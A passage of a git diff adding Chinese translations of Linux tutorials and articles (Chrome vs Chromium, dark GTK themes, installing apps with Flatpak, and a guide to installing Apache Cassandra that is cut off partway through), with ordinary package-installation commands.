录制一个单独的音轨,轻松添加旁白。可以在 Audacity 中添加声音效果,保存到文件中,并导入到 OpenShot 视频编辑器的配乐中。寻找 [合法的背景音乐][20] 来添加到你的视频中。 + +使用 [开源广播软件(OBS)][21] 来直播你的假期聚会。使用 OBS 可以轻松地为你的朋友和家人呈现引人入胜的假期节目,或者你可以将节目另存为 Matroska 或 MP4 文件以供日后观看。 + +### 阅读材料 + +古腾堡计划Project Gutenberg是一个用来分享免费节日阅读材料的很好的来源。[狄更斯的《圣诞颂歌》][22] 就是这样一种资源,它可以在网上轻松阅读,也可以下载成 EPUB 或你最喜欢的电子阅读器的格式。你还可以找到免版税的阅读材料,如 [Librivox][23] 的“光的盛宴”,采用 MP3 格式,因此可以下载并在你喜欢的浏览器或媒体播放器中播放。 + +### 节日乐趣 + +节日里最重要的一点是,它们是与朋友和家人一起的放松和欢乐时光。如果你有家人对计算机感到好奇,花点时间与他们分享一些你最喜欢的开源资源。 + +(题图来自:[creativecommons.org](https://search.creativecommons.org/photos/388c71f3-0419-4e4b-a6a7-2db7e1a8bbc8),作者:Sunny M5) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/open-source-holiday-greetings + +作者:[Don Watkins][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/painting_computer_screen_art_design_creative.png?itok=LVAeQx3_ (Painting art on a computer screen) +[2]: https://opensource.com/open-source-way +[3]: http://freesvg.org +[4]: https://opensource.com/sites/default/files/uploads/cornucopia.png (cornucopia) +[5]: https://creativecommons.org/publicdomain/zero/1.0/ +[6]: https://opensource.com/article/18/1/inkscape-absolute-beginners +[7]: https://opensource.com/sites/default/files/uploads/cornucopia_with_text.png (We Give Thanks) +[8]: https://creativecommons.org/licenses/by-sa/4.0/ +[9]: https://opensource.com/article/21/9/libreoffice-tips +[10]: https://search.creativecommons.org/ +[11]: https://www.flickr.com/photos/34067077@N00/4014605524 +[12]: https://www.flickr.com/photos/34067077@N00 +[13]: https://creativecommons.org/licenses/by-sa/2.0/?ref=ccsearch&atype=rich +[14]: https://opensource.com/sites/default/files/uploads/fall_table.png (Holiday table) +[15]: https://opensource.com/content/cheat-sheet-gimp +[16]: https://opensource.com/sites/default/files/uploads/fall_table_with_text.png (Happy Holidays) +[17]: https://creativecommons.org/licenses/by/4.0/ +[18]: https://opensource.com/article/20/5/open-source-video-conferencing +[19]: https://opensource.com/article/17/5/using-openshot-video-editor +[20]: https://opensource.com/article/20/1/what-creative-commons +[21]: https://opensource.com/article/21/4/obs-youtube +[22]: https://www.gutenberg.org/ebooks/19337 +[23]: https://librivox.org/the-feast-of-lights-by-emma-lazarus/ diff --git a/published/202112/20211121 Google Chrome vs Chromium- What-s the difference.md b/published/202112/20211121 Google Chrome vs Chromium- What-s the difference.md new file mode 100644 index 0000000000..67bcfaf667 --- /dev/null +++ b/published/202112/20211121 Google Chrome vs Chromium- What-s the difference.md @@ -0,0 +1,164 @@ +[#]: subject: "Google Chrome vs Chromium: What’s the difference?" +[#]: via: "https://itsfoss.com/chrome-vs-chromium/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14041-1.html" + +Chrome 与 Chromium 有何不同? +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/02/100436xj1u51jhrjuwhjfw.jpg) + +Chrome 浏览器是最流行的网页浏览器。无论你是否喜欢使用它,Chrome 都能提供良好的用户体验。 + +尽管它可以在 Linux 上使用,但它不是一个开源的网页浏览器。 + +而且,如果你喜欢 Chrome 的外观和感觉,但又想使用一个开源的解决方案,Chromium 是一个选择。 + +但是,Chrome 浏览器不是基于 Chromium 的吗?(是的。)而且,它也是由谷歌开发的吧?(也是的。) + +那么,Chrome 和 Chromium 之间有什么区别呢?在这篇文章中,我们将深入了解它们,并介绍一些对它们进行比较的基准。 + +### 用户界面 + +![Chrom 和 Chromium 在 Zorin OS 16 上并排运行][1] + +Chrome 和 Chromium 的用户界面非常相似,除了一些细微的区别。 + +例如,我注意到 Chrome 的系统标题栏和边框一开始就被默认禁用了。相比之下,在我测试的时候,Chromium 默认启用了它们。 + +你还可以注意到在 Chrome 的地址栏里有一个分享按钮,而在 Chromium 上却没有。 + +这并不是大的视觉差异,而只是根据现有的功能进行了一系列的 UI 调整。所以,你可以预期它们的用户体验类似,而在底层有所不同。如果你在意用户界面,这两款浏览器应该都很适合你。 + +### 开源与专有代码 + +![][2] + +Chromium 是完全开源的,这意味着任何人都可以(根据许可证)按照自己的意愿使用和修改代码。你可以在其 [GitHub 镜像][3] 上查看其源代码。 + +这就是为什么你会发现有许多 [基于 Chromium 的浏览器][4],如 Brave、Vivaldi 和 Edge。 + +有这么多的选择,你可以选择你最喜欢的那个。 + +另一方面,Chrome 在 Chromium 中加入了刚刚专有的代码,使 Chrome 成为了专有浏览器。例如,人们可以复刻 Brave,但不能复刻谷歌 Chrome,而限制使用其中的谷歌特定代码/工作。 + +对于终端用户来说,开源与否并不影响用户体验。然而,对于一个开源项目,你可以得到更多的透明度,而不需要依靠公司来沟通他们打算改变什么,以及他们在浏览器上做什么。 + +所以,是的,如果你不喜欢专有代码,Chromium 就是你的选择。 + +### 功能差异 + +谷歌不希望其竞争对手拥有类似的能力,这并不奇怪。因此,谷歌一直在 [锁定 Chromium 并在其中禁用了很多谷歌特有的能力][5]。 + +因此,你会发现这两个浏览器的能力有一些差异。 + +不仅如此,由于 Chromium 是开源的,你可能会注意到一些不便之处。别担心,我将在下面指出其中的关键差异。 + +Chrome | Chromium +---|--- +有签到和同步功能 | 无签到和同步功能 +支持媒体编解码器以使用 Netflix | 需要手动安装编解码器 + +对于初学者来说,在 Chromium 中不再能使用由谷歌支持的登录/同步功能。它曾经支持签到和同步,直到谷歌决定将其从开源项目中删除。 + +接下来,Chrome 内置了对高质量媒体编解码器的支持。因此,你可以加载来自 Netflix 的内容。但是,在 Chromium 中没有这些。 + +![Netflix 在 Chromium 中默认不能工作][6] + +从技术上讲,Chromium 并不包括 _Widevine 内容解密模块_。因此,你需要手动安装所需的编解码器,以使大部分东西都能工作。 + +不过,你在这两个浏览器上你都可以播放苹果音乐等平台的内容,应该不会有任何问题。 + +### 安装及最新更新 + +你可以在几乎任何平台上安装 Chrome。Linux 也不例外。只需前往其官方网站,抓取 DEB/RPM 包即可快速安装。安装后的应用程序也会自动更新。 + +![][7] + +有几个平台上安装 Chromium 并不那么简单。曾经有一段时间,一些 Linux 发行版将 Chromium 作为默认浏览器。那是过去的日子了。 + +即使在 Windows 上,Chromium 的安装和更新也不像 Chrome 那样顺利。 + +在 Linux 上,安装 Chromium 则完全是另一回事。像 Ubuntu 这样的流行发行版把它打包成一个沙盒式的 Snap 应用程序。 + +即使你试图用终端安装它,希望能从 APT 库中得到它,但它又是一个 Snap。 + +![][8] + +使用 Snap 软件包,你可能会面临与你的自定义桌面主题相融合的问题。Snap 应用程序的启动时间也会更长。 + +![][9] + +而且,如果你构建它并手动安装 Chromium,你就得手动更新它。 + +### 隐私角度 + +Chrome 对大多数用户来说应该足够好了。但是,如果你担心你的隐私,Chrome 会追踪使用信息和一些与浏览有关的信息。 + +最近,[谷歌推出了一个新的 Chrome API][10],可以让网站检测到你什么时候闲着,什么时候不闲着。虽然这是一个巨大的隐私问题,但并不是唯一的问题。 + +谷歌不断试验新的追踪用户的方法;例如,正如 [EFF][11] 所指出的那样,谷歌的 FLoC 实验并不受欢迎。 + +从技术上讲,他们声称他们想增强用户的隐私,而同时仍然提供广告机会。然而,就目前而言,这是一个不可能实现的任务。 + +相比之下,Chromium 在隐私方面的表现应该要好得多。然而,如果你讨厌你的浏览器中有任何与谷歌有关的东西,即使是最轻微的遥测,你应该试试 [UnGoogled Chromium][12]。 + +它是 Chromium,但没有任何谷歌组件。 + +### 浏览器性能 + +有各种各样的浏览器基准,可以让你了解到一个浏览器处理任务的能力如何。 + +考虑到网站上的高级网站应用和资源密集型的 JavaScript,如果一个网页浏览器的性能不好,当你打开许多活动的标签时,你的体验就会明显很糟糕。 + +[JetStream 2][13] 和 [Speedometer 2][14] 是两个流行的基准,可以给你处理各种任务和响应能力的性能估计。 + +除此之外,我还试用了 [Basemark Web 3.0][15],它也是测试各种指标并给你一个综合分数。 + +![][16] + +总体而言,Chrome 在此获胜。 + +但是,值得注意的是,在运行浏览器时,你的系统资源和后台进程会对性能产生不同的影响。因此,也要考虑到这一点。 + +### 你应该选择哪个? + +之所以存在对浏览器的选择,是因为用户喜欢不同的东西。Chrome 提供了一个良好的功能集和用户体验。如果你以某种形式使用由谷歌提供的服务,Chrome 是一个简单的推荐。 + +然而,如果你担心隐私和专有代码,Chromium 或 UnGoogled Chromium,或任何其他基于 Chromium 的浏览器,如 Brave,可以是一个不错的选择。 + +这就是我在比较 Chrome 和 Chromium 时的全部看法。我愿意接受你的意见。评论区都是你的。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/chrome-vs-chromium/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/chrome-chromium-ui.png?resize=800%2C627&ssl=1 +[2]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/open-source-proprietary.png?resize=800%2C450&ssl=1 +[3]: https://github.com/chromium/chromium +[4]: https://news.itsfoss.com/chrome-like-browsers-2021/ +[5]: https://news.itsfoss.com/is-google-locking-down-chrome/ +[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/chromium-netflix.png?resize=800%2C541&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/google-chrome-version.png?resize=800%2C549&ssl=1 +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/install-chromium.png?resize=800%2C440&ssl=1 +[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/chromium-version.png?resize=800%2C539&ssl=1 +[10]: https://www.forbes.com/sites/zakdoffman/2021/10/02/stop-using-google-chrome-on-windows-10-android-and-apple-iphones-ipads-and-macs/ +[11]: https://www.eff.org/deeplinks/2021/03/googles-floc-terrible-idea +[12]: https://github.com/Eloston/ungoogled-chromium +[13]: https://webkit.org/blog/8685/introducing-the-jetstream-2-benchmark-suite/ +[14]: https://webkit.org/blog/8063/speedometer-2-0-a-benchmark-for-modern-web-app-responsiveness/ +[15]: https://web.basemark.com/ +[16]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/chrome-chromium-benchmarks-1.png?resize=800%2C450&ssl=1 diff --git a/published/202112/20211127 13 Best Dark GTK Themes for Your Linux Desktop.md b/published/202112/20211127 13 Best Dark GTK Themes for Your Linux Desktop.md new file mode 100644 index 0000000000..ca86ae9da1 --- /dev/null +++ b/published/202112/20211127 13 Best Dark GTK Themes for Your Linux Desktop.md @@ -0,0 +1,168 @@ +[#]: subject: "13 Best Dark GTK Themes for Your Linux Desktop" +[#]: via: "https://itsfoss.com/dark-gtk-themes/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14050-1.html" + +13 个 Linux 桌面的最佳深色 GTK 主题 +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/05/110404dh7d463771gn6833.jpg) + +在任何的 Linux 发行版上,你都有近乎无限的定制选项,在视觉上最明显的区别就是定制的主题。让我们来看看一些具有深色模式的 GTK 主题。 + +是的,我们在过去曾介绍过 [最佳 Linux 主题][1],但这一篇是专门介绍深色主题的。曾几何时,只有程序员和系统管理员喜欢深色模式,但现在已经不是这样了。深色模式也受到了普通人的喜爱,因此我为像你这样的 Linux 桌面用户编制了这个深色主题列表。 + +如果你不熟悉设置桌面环境的主题,你可以看看我们的 [在 GNOME 中安装主题][2] 指南。 + +本文仅供参考,这并不是一个排名列表。 + +### 1、McMojave + +![The stock image of how McMojave looks \(courtesy of the theme developer\)][3] + +[McMojave][4] 是一个 GTK 主题,其灵感来自于 macOS 风格的用户界面。显然这个主题是提供给深色模式的,但它也有浅色模式,嗯……,提供给任何可能想要它的人。 + +McMojave GTK 主题显然支持基于 GTK 的桌面环境,如 Pantheon、Gnome、XFCE、Mate 等。但是,这个主题也 [适用于 KDE 用户][5]。 + +为了让你的桌面环境看起来与 macOS 非常相似,你还可以安装 [McMojave 圆形图标主题][6] 以获得更完整的体验。 + +### 2、Yaru + +![A screenshot of the default Yaru theme on Ubuntu 21.10][7] + +[Yaru][8] 是 [Ubuntu][9] 的默认 GTK(GNOME)主题。该主题的深灰色点缀着橙色,及少许黑色让我觉得很有吸引力。 + +现在,你可以让 Arch Linux 上的 GNOME 看起来像 Ubuntu。( ͡° ͜ʖ ͡°) + +### 3、Pop + +![A look at how the Pop GTK theme looks on Pop!_OS][10] + +[Pop GTK 主题][11] 是由 [System76][12] 为他们基于 Ubuntu 的 Linux 发行版 [Pop!_OS][13] 创建的主题。 + +如果你喜欢 System76 对 GNOME 在深色模式下的表现,你可以在你选择的 Linux 发行版中试用 [Pop GTK 主题][11]。 + +如果想获得完整的 Pop-esque 的外观和感觉,在安装主题的同时,还可以安装 System76 提供的 [Pop 图标][14]。 + +### 4、Nordic + +![Nordic GTK theme preview][15] + +你是一个喜欢简单的、有点扁平化的设计方法以及一些灰色或更多灰色的人吗?不妨看看这个基于 [北欧风调色板][16] 的主题。 + +[Nordic][17] GTK 主题给你的正是这样的感觉。一个基于北欧风调色板的 GTK 主题,设计简单。 + +### 5、Ultimate-Maia + +![Stock screenshot of the Ultimate-Maia theme][18] + +[Ultimate-Maia][20] 是一个基于 [Google 的 Material 主题][19] 设计理念的 GTK 主题。这个主题有一个精细而独特的外观和感觉,特别是有各种不同的强调色可供选择。 + +### 6、Graphite + +![A look at Graphite’s flat, rounded and gray characteristic][21] + +[Graphite][22] 是一个 GTK 主题,它为你的桌面环境(尤其是 GNOME)提供了一个完全独特的外观,同时保持了你的桌面环境的独特性,就像以前一样。这是一个值得一看的东西。 + +### 7、Qogir + +![Customization options available with Qogir GTK theme][23] + +[Qogir][24] 是一个采用了扁平化设计的 GTK 主题。Qogir 主题为你提供的不仅仅是标题按钮、复选框、单选按钮、开关等自定义选项。 + +### 8、Layan + +![Lyan – A very rounded-corners GTK theme][25] + +你会很高兴知道,这个列表中还包括 [Layan][26],这是一个强调平滑、圆角的 GTK 主题,带有气泡的美感。Layan 主题也继承了 [Google 的 Material 设计][19] 指导方针的设计理念。 + +### 9、Juno + +![][27] + +[Juno][28] 是我发现的另一个最好的对深色模式友好的 GTK 主题之一。有些人可能喜欢它的漆黑本质,有些人可能不喜欢。但是,如果你有一台 OLED 笔记本或电脑显示屏,Juno 感觉是为你而生的。 + +### 10、Ant 主题 + +![Ant themes’ available options for customization of window appearance][29] + +[Ant][30] 是一个 GTK 主题,它从 macOS 的布局和用户界面元素中获得了一些灵感,在我看来,Ant 主题很好地实现了这一切。 + +### 11、Equilux + +![][31] + +[Equilux][32] 主题给你一个漂亮的主题,带有精细的深色模式。这个主题能很好地与 GNOME 及 GNOME 的复刻融合在一起。我不会太多地描述这个主题,它简单而优雅。 + +### 12、Orchis-dark + +![Orchis Dark][33] + +[Orchis Orchis-dark][34] 是超酷的 Orchis 主题的深色变体。它为桌面提供了带有圆角和流畅界面的 iOS/macOS 触感。只需看一眼,你就可以立即猜到。 + +### 13、Elementary X + +![A look at Elementary X GTK theme with the settings panel open][35] + +[Elementary X][37] 是基于 [elementary OS][36] 团队为定制 GNOME 外观而开发的 GTK 主题。顺便说一句,elementary OS 是一个基于 Ubuntu 的 Linux 发行版。 + +### 总结 + +这篇文章中列出的主题都是非常漂亮的,而且你的选择也不限于这里列出的那些。还有其他成千上万的主题。 + +如果你喜欢一个主题,请在下面评论。如果你正在使用一个我没有提到的主题,也请留下评论。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/dark-gtk-themes/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-gtk-themes/ +[2]: https://itsfoss.com/install-switch-themes-gnome-shell/ +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/01_mojave.webp?resize=800%2C450&ssl=1 +[4]: https://github.com/vinceliuice/Mojave-gtk-theme +[5]: https://github.com/vinceliuice/McMojave-kde +[6]: https://github.com/vinceliuice/McMojave-circle +[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/02_yaru.webp?resize=800%2C403&ssl=1 +[8]: https://github.com/ubuntu/yaru +[9]: https://ubuntu.com/ +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/pop_gtk.webp?resize=800%2C450&ssl=1 +[11]: https://github.com/pop-os/gtk-theme +[12]: https://system76.com/ +[13]: https://pop.system76.com/ +[14]: https://github.com/pop-os/icon-theme +[15]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/nordic.webp?resize=800%2C450&ssl=1 +[16]: https://github.com/arcticicestudio/nord +[17]: https://github.com/EliverLara/Nordic +[18]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/05_ultimate_maia.webp?resize=800%2C450&ssl=1 +[19]: https://material.io/ +[20]: https://github.com/bolimage/Ultimate-Maia +[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/06_graphite.webp?resize=800%2C450&ssl=1 +[22]: https://github.com/vinceliuice/Graphite-gtk-theme +[23]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Qogir.webp?resize=800%2C500&ssl=1 +[24]: https://github.com/vinceliuice/Qogir-theme +[25]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/07_layan.webp?resize=800%2C450&ssl=1 +[26]: https://github.com/vinceliuice/Layan-gtk-theme +[27]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/08_juno.webp?resize=732%2C487&ssl=1 +[28]: https://github.com/EliverLara/Juno +[29]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/ant.webp?resize=800%2C533&ssl=1 +[30]: https://github.com/EliverLara/Ant +[31]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/equilux.webp?resize=800%2C450&ssl=1 +[32]: https://github.com/ddnexus/equilux-theme +[33]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/orchis-dark.webp?resize=800%2C463&ssl=1 +[34]: https://www.gnome-look.org/s/Gnome/p/1357889 +[35]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/elementary.webp?resize=800%2C450&ssl=1 +[36]: https://elementary.io/ +[37]: https://github.com/surajmandalcell/elementary-x diff --git a/published/202112/20211128 Install apps on Linux with Flatpak.md b/published/202112/20211128 Install apps on Linux with Flatpak.md new file mode 100644 index 0000000000..e81e24183c --- /dev/null +++ b/published/202112/20211128 Install apps on Linux with Flatpak.md @@ -0,0 +1,105 @@ +[#]: subject: "Install apps on Linux with Flatpak" +[#]: via: "https://opensource.com/article/21/11/install-flatpak-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14045-1.html" + +用 Flatpak 在 Linux 上安装应用 +====== + +> Flatpak 简化了 Linux 上应用的安装。 + +![](https://img.linux.net.cn/data/attachment/album/202112/03/133555dxzijlzjp0ibglk0.jpg) + +计算机应用由许多小文件组成,它们被链接在一起以执行一系列的任务。因为它们以“应用”的形式出现,在菜单或桌面上有彩色的图标,我们大多数人认为应用是一个单一的、几乎是有形的东西。在某种程度上,这样想是令人欣慰的,因为它们感觉是可以管理的。如果一个应用实际上是散落在你的计算机上的数百个小库和资源文件的组合,那么应用在哪里?撇开存在危机不谈,当一个应用需要一个版本的库,而另一个应用需要一个不同的版本时,会发生什么? + +在云计算的世界里,[容器][2] 正变得越来越流行,因为它们为应用提供了隔离和整合。你可以在一个“容器”中安装一个应用需要的所有文件。这样一来,它的库就不会受到其他应用的影响,它所占用的内存也不会将数据泄露到另一个内存空间。所有的东西最后都感觉非常像一个单一的、几乎是 _有形的_ 东西。在 Linux 桌面上,提供了类似的技术的 Flatpak,是一个跨发行版、无守护进程、去中心化的应用交付系统。 + +### 在 Linux 上安装 Flatpak + +你的 Linux 系统可能已经安装了 Flatpak。如果没有,你可以从你的包管理器中安装它: + +在 Fedora、Mageia 和类似的发行版上: + +``` +$ sudo dnf install flatpak +``` + +在 Elementary、Mint 和其他基于 Debian 的发行版上: + +``` +$ sudo apt install flatpak +``` + +在 Slackware 上,Flatpak 可以从 [SlackBuilds.org][3] 获得。 + +### 选择一个 Flatpak 仓库 + +你可以通过在你的发行版的软件中心(如 GNOME 上的“软件”)添加一个 Flatpak 仓库,将一个应用安装为 Flatpak。Flatpak 是一个去中心化的系统,意味着任何开发软件的人都可以托管他们自己的仓库。尽管如此,在实践中,[Flathub][4] 是 Flatpak 格式的最大和最流行的应用集合。要将 Flathub 添加到 GNOME “软件Software” 或者 KDE “发现Discover” 中,请浏览 https://flatpak.org/setup ,找到适合你的发行版的说明,从第二步开始,或者直接下载 [Flatpakrepo][5] 文件。根据你的网络情况,你的软件中心可能需要几分钟的时间来与 Flathub(或另一个 Flatpak 仓库)同步。Flathub 有很多软件,但你的系统上有多少个 Flatpak 仓库是没有限制的,所以如果你发现一个有你想尝试的软件,不要害怕添加一个新的仓库。 + +![Software Repositories][6] + +如果你喜欢在终端工作,你可以用 `flatpak` 命令直接添加到仓库: + +``` +$ flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +### 安装一个应用 + +只要你在软件中心添加了 Flatpak 仓库,你就可以像往常一样浏览应用了。 + +![GNOME Software][8] + +点击一个看起来很吸引人的应用,阅读它,当你准备好时点击**安装**按钮。 + +### 在终端中安装 flatpak + +如果你喜欢在终端工作,你可以把 Flatpak 当作一个专门的包管理器。你可以使用 `flatpak search` 命令来搜索一个应用程序: + +``` +$ flatpak search paint +Name Description Application ID +CorePaint A simple painting tool org.cubocore.CorePaint +Pinta Edit images and paint digitally com.github.PintaProject.Pinta +Glimpse Create images and edit photographs org.glimpse_editor.Glimpse +Tux Paint A drawing program for children org.tuxpaint.Tuxpaint +Krita Digital Painting, Creative Freedom org.kde.krita +``` + +用 `flatpak install` 安装: + +``` +$ flatpak install krita +``` + +安装后,应用就会与系统中的所有其他应用一起出现在你的应用菜单或活动页上。 + +### 应用变得简单 + +Flatpak 通过消除版本冲突,可以使用户轻松安装应用。他们通过在自托管的平台或像 Flathub 这样的公共平台上只需要针对一种软件包格式提供应用,使分发软件变得简单。我在 Fedora Silverblue、CentOS 和 Slackware 上使用 Flatpak,我无法想象现在没有它的生活。在你的下一个应用安装中试试 Flatpak 吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/install-flatpak-linux + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/flatpak-lead-image_0.png?itok=URbhdsDQ (Flatpak) +[2]: https://opensource.com/article/21/7/linux-podman +[3]: http://slackbuilds.org +[4]: http://flathub.org +[5]: https://flathub.org/repo/flathub.flatpakrepo +[6]: https://opensource.com/sites/default/files/uploads/repo.jpg (Software Repositories) +[7]: https://creativecommons.org/licenses/by-sa/4.0/ +[8]: https://opensource.com/sites/default/files/uploads/software.jpg (GNOME Software) diff --git a/published/202112/20211129 How to Install Apache Cassandra on Ubuntu and Other Linux.md b/published/202112/20211129 How to Install Apache Cassandra on Ubuntu and Other Linux.md new file mode 100644 index 0000000000..80290307dc --- /dev/null +++ b/published/202112/20211129 How to Install Apache Cassandra on Ubuntu and Other Linux.md @@ -0,0 +1,159 @@ +[#]: subject: "How to Install Apache Cassandra on Ubuntu and Other Linux" +[#]: via: "https://itsfoss.com/apache-cassandra-ubuntu/" +[#]: author: "Marco Carmona https://itsfoss.com/author/marco/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14048-1.html" + +如何在 Ubuntu 和其他 Linux 上安装 Apache Cassandra +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/04/151942ihpizylzk0i3pt0i.jpg) + +[Apache Cassandra][1] 是一个自由开源的 NoSQL 数据库管理系统,用于在许多服务器上操作大量信息,提供无单点故障的高可用性。 + +我不打算讨论 NoSQL 数据库的细节。我将会告诉你如何在基于 Ubuntu 的 Linux 发行版上安装 Apache Cassandra。 + +请注意,这更多是为了实践。 + +### 在 Linux 上安装 Apache Cassandra + +有多种方法可以在 Ubuntu 和其他 Linux 发行版上安装 Cassandra: + + * 使用 Apache 的官方 deb 仓库安装:适合并推荐给基于 Debian 和 Ubuntu 的发行版。如果有更新的版本,会得到自动更新。 + * 使用 Docker 安装:适用于所有 Linux 发行版。 + * 从 tarball 安装:适用于所有 Linux,但不会自动更新到新版本。 + +这仅仅是为了练习和体验 Apache Cassandra。如果你要在一个项目中使用它和其他服务,你必须遵循该服务的完整配置和设置指南。 + +我将展示前两种方法。 + +#### 方法 1:使用官方仓库在 Ubuntu 和 Debian 上安装 Cassandra + +在你安装和使用 Cassandra 之前,你需要在你的系统上安装 Python 和 Java。你可能需要 [在 Ubuntu 上安装 Java][2],但 Python 通常是预装的。 + +你可以用下面这行来检查先决条件: + +``` +java -version && python --version +``` + +所有先决条件都安装好了?那就好。让我们来安装 Cassandra。这里的方法与 [在 Ubuntu 中添加任意外部仓库][3] 相同。 + +首先,将 Apache Cassandra 仓库添加到你的源列表中。下面这个添加最新的主要版本(在写这篇文章的时候)4.0 系列。 + +``` +echo "deb http://www.apache.org/dist/cassandra/debian 40x main" | sudo tee -a /etc/apt/sources.list.d/cassandra.sources.list +``` + +![Add Apache Cassandra repository][4] + +现在,下载并将 Apache Cassandra 仓库的密钥添加到服务器上的受信任密钥列表中。这样,你的系统就会信任来自你在上一步添加的仓库的软件包。 + +你应该确保 `apt` 可以通过 https 使用。 + +``` +sudo apt install apt-transport-https +``` + +然后添加密钥: + +``` +wget https://www.apache.org/dist/cassandra/KEYS && sudo apt-key add KEYS +``` + +![Add Apache Cassandra repository key][5] + +你已经添加了仓库。更新本地缓存,使你的系统知道这个新仓库的存在。 + +``` +sudo apt update +``` + +最后,用以下命令安装 Cassandra: + +``` +sudo apt install cassandra +``` + +![Installing Apache Cassandra on Ubuntu][6] + +安装完成后,Cassandra 服务会自动开始运行。如果你想的话,你仍然可以验证它: + +``` +sudo systemctl status cassandra.service +``` + +![Check if Cassandra is running][7] + +你可以输入 `cqlsh` 连接到数据库。输入 `exit` 来退出这个 shell。 + +![Entering cqlsh][8] + +这是非常基本和默认的设置。你可能需要根据你的需求来配置它。请查看 [官方文档中的配置部分][9]。 + +#### 方法 2:使用 Docker 安装 Apache Cassandra + +这个方法适用于任何 Linux 发行版,只要你打算在 Docker 设置中使用它。 + +当然,你需要在你的系统上安装 Docker 来实现这个方法。这是这个方法的前提条件,我让你处理这件事情。 + +如果你有 Docker,使用下面的命令来拉取 Apache Cassandra 的 Docker 镜像: + +``` +sudo docker pull cassandra:latest +``` + +![Pulling Apache Cassandra docker image][10] + +完成后,你可以用 [docker run 命令][11]来启动 Cassandra,像这样: + +``` +sudo docker run --name cass_cluster cassandra:latest +``` + +![Running Cassandra in a container][12] + +**注意:** `--name` 选项指的是创建的 Cassandra 集群的名称。 + +要与之前启动的 Cassandra 节点交互,你需要初始化 CQL shell,你可以用 Docker `exec` 命令这样做: + +``` +sudo docker exec -it cass_cluster cqlsh +``` + +![Access the cqlsh running in Docker.][13] + +**恭喜!** 现在你至少知道了在你的系统中安装 Apache Cassandra 的两种不同方法。 + +请记住,这篇文章只是一个介绍。如果你有兴趣了解更多关于 Apache Cassandra 的信息,请阅读 [文档][14],在那里你可以找到更多关于这个神奇的 NoSQL 数据库管理系统的信息。如果这篇文章对你有帮助,请阅读并分享它。下一篇见。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apache-cassandra-ubuntu/ + +作者:[Marco Carmona][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/marco/ +[b]: https://github.com/lujun9972 +[1]: https://cassandra.apache.org/_/index.html +[2]: https://itsfoss.com/install-java-ubuntu/ +[3]: 